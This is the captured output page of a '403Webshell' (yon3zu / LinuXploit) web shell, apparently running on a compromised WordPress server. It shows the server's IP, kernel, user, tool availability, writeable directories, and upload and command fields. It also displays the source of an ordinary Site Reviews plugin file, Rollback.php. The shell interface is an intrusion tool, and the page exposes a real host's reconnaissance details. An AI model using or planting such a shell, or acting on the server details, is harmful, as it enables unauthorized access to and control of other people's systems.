403Webshell
Server IP : 185.252.147.100  /  Your IP : 216.73.217.33
Web Server : nginx/1.27.3
System : Linux mitrofanov.ru 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : mitr ( 1000)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/html/tour.mitrofanov.ru/public/wp-content/plugins/site-reviews/plugin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/html/tour.mitrofanov.ru/public/wp-content/plugins/site-reviews/plugin/Rollback.php
<?php

namespace GeminiLabs\SiteReviews;

use GeminiLabs\SiteReviews\Overrides\PluginUpgrader;

class Rollback
{
    public function rollback(string $version): void
    {
        global $title, $parent_file;
        $plugin = glsr()->basename;
        $parent_file = 'edit.php?post_type='.glsr()->post_type;
        $title = _x('Rollback Site Reviews', 'admin-text', 'site-reviews');
        $nonce = 'upgrade-plugin_'.$plugin;
        $url = 'update.php?action=upgrade-plugin&plugin='.urlencode($plugin);
        wp_enqueue_script('updates');
        require_once ABSPATH.'wp-admin/admin-header.php';
        $upgrader = new PluginUpgrader(
            new \Plugin_Upgrader_Skin(compact('title', 'nonce', 'url', 'plugin'))
        );
        $upgrader->rollback($version);
        require_once ABSPATH.'wp-admin/admin-footer.php';
    }

    public function rollbackData(string $version): array
    {
        set_transient(glsr()->prefix.'rollback_version', $version, MINUTE_IN_SECONDS);
        return [
            'data' => [
                '_ajax_nonce' => wp_create_nonce('updates'),
                'action' => 'update-plugin',
                'plugin' => glsr()->basename,
                'slug' => glsr()->id,
            ],
            'url' => glsr_admin_url('welcome'),
        ];
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit